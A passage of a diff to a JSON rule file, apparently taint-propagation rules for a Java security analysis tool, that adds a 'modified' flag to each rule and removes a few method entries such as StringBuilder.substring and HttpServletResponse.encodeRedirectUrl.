"false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2775,6 +3112,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2793,6 +3131,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2811,6 +3150,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O|P3", "stack_blacklist": [], "system_type": 1, @@ -2829,6 +3169,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2847,6 +3188,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2865,6 +3207,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2883,6 +3226,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2908,6 +3252,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2930,6 +3275,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2948,6 +3294,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2966,6 +3313,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2984,6 +3332,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3002,6 +3351,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3020,6 +3370,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3038,6 +3389,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3056,6 +3408,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3074,6 +3427,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3092,6 +3446,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3114,6 +3469,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3132,6 +3488,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3150,6 +3507,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3168,6 +3526,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3186,6 +3545,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3204,6 +3564,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3222,6 +3583,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3240,6 +3602,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3258,6 +3621,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3276,6 +3640,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3294,6 +3659,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3312,6 +3678,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3330,6 +3697,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3348,6 +3716,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3366,6 +3735,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3384,6 +3754,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3402,6 +3773,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3420,6 +3792,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3438,6 +3811,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3456,6 +3830,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3474,6 +3849,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3492,6 +3868,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3510,6 +3887,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -3528,6 +3906,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -3546,6 +3925,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -3564,6 +3944,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -3582,6 +3963,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -3600,6 +3982,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -3618,6 +4001,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O|P3", "stack_blacklist": [], "system_type": 1, @@ -3636,6 +4020,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3654,6 +4039,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3672,24 +4058,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, - "source": "O", - "stack_blacklist": [], - "system_type": 1, - "tags": [], - "target": "R", - "track": "false", - "type": 1, - "untags": [], - "value": "java.lang.StringBuilder.substring(int,int)" - }, - { - "command": "SUBSET(P1,P2)", - "created_by": 1, - "enable": 1, - "ignore_blacklist": false, - "ignore_internal": false, - "inherit": "false", - "language": 1, + "modified": true, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3708,6 +4077,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3726,6 +4096,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3744,6 +4115,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3762,6 +4134,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3780,6 +4153,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3798,6 +4172,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3816,6 +4191,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3834,6 +4210,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3852,6 +4229,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3870,6 +4248,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3888,6 +4267,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3906,6 +4286,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -3924,6 +4305,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -3942,6 +4324,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3960,6 +4343,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -3982,6 +4366,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4000,6 +4385,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4022,6 +4408,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4044,6 +4431,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4066,6 +4454,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4084,6 +4473,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -4109,6 +4499,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4134,6 +4525,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4152,6 +4544,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -4177,6 +4570,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4195,6 +4589,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2,3", "stack_blacklist": [], "system_type": 1, @@ -4213,6 +4608,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2,3,5,6,7", "stack_blacklist": [], "system_type": 1, @@ -4231,6 +4627,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2,3,4", "stack_blacklist": [], "system_type": 1, @@ -4249,6 +4646,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2,3,4,5", "stack_blacklist": [], "system_type": 1, @@ -4267,6 +4665,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -4285,6 +4684,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4310,6 +4710,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2,4", "stack_blacklist": [], "system_type": 1, @@ -4328,6 +4729,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -4346,6 +4748,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4369,6 +4772,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4392,6 +4796,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4414,6 +4819,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4436,6 +4842,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": true, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4458,28 +4865,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, - "source": "P1", - "stack_blacklist": [], - "system_type": 1, - "tags": [ - "url-encoded" - ], - "target": "R", - "track": "false", - "type": 1, - "untags": [ - "url-decoded" - ], - "value": "javax.servlet.http.HttpServletResponse.encodeRedirectUrl(java.lang.String)" - }, - { - "command": "", - "created_by": 1, - "enable": 1, - "ignore_blacklist": false, - "ignore_internal": false, - "inherit": "true", - "language": 1, + "modified": true, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4494,28 +4880,6 @@ ], "value": "javax.servlet.http.HttpServletResponse.encodeURL(java.lang.String)" }, - { - "command": "", - "created_by": 1, - "enable": 1, - "ignore_blacklist": false, - "ignore_internal": false, - "inherit": "true", - "language": 1, - "source": "P1", - "stack_blacklist": [], - "system_type": 1, - "tags": [ - "url-encoded" - ], - "target": "R", - "track": "false", - "type": 1, - "untags": [ - "url-decoded" - ], - "value": "javax.servlet.http.HttpServletResponse.encodeUrl(java.lang.String)" - }, { "command": "", "created_by": 1, @@ -4524,6 +4888,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4553,6 +4918,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -4575,6 +4941,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4597,6 +4964,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -4619,6 +4987,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4641,6 +5010,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -4663,6 +5033,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4685,6 +5056,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -4707,6 +5079,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4729,6 +5102,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4751,6 +5125,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4773,6 +5148,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4795,6 +5171,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4817,6 +5194,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4839,6 +5217,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4861,6 +5240,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4883,6 +5263,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4905,6 +5286,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4934,6 +5316,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4952,6 +5335,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4970,6 +5354,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -4988,6 +5373,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5006,6 +5392,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5024,6 +5411,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5042,6 +5430,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5060,6 +5449,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5078,6 +5468,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5096,6 +5487,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5114,6 +5506,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5139,6 +5532,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5157,6 +5551,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5175,6 +5570,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5193,6 +5589,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5211,6 +5608,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5229,6 +5627,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5247,6 +5646,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5265,6 +5665,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5283,6 +5684,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5301,6 +5703,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5319,6 +5722,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5337,6 +5741,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5355,6 +5760,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5380,6 +5786,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5398,6 +5805,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5416,6 +5824,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -5434,6 +5843,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5452,6 +5862,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -5470,6 +5881,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -5488,6 +5900,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5506,6 +5919,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -5524,6 +5938,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -5549,6 +5964,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5567,6 +5983,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5585,6 +6002,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5603,6 +6021,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5621,6 +6040,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5639,6 +6059,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5657,6 +6078,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5675,6 +6097,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5693,6 +6116,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5711,6 +6135,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5729,6 +6154,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5747,6 +6173,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5765,6 +6192,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5783,6 +6211,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5808,6 +6237,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5826,6 +6256,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5844,6 +6275,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5862,6 +6294,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5880,6 +6313,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5898,6 +6332,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -5916,6 +6351,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5934,6 +6370,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5952,6 +6389,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5970,6 +6408,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -5988,6 +6427,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6006,6 +6446,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6024,6 +6465,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6042,6 +6484,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6060,6 +6503,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6078,6 +6522,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6096,6 +6541,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6114,6 +6560,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6132,6 +6579,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6150,6 +6598,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6168,6 +6617,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6186,6 +6636,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6204,6 +6655,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6222,6 +6674,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6240,6 +6693,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6258,6 +6712,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6276,6 +6731,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6294,6 +6750,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6312,6 +6769,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6330,6 +6788,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6348,6 +6807,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6366,6 +6826,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6384,6 +6845,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6402,6 +6864,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6420,6 +6883,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6438,6 +6902,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6456,6 +6921,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6474,6 +6940,7 @@ 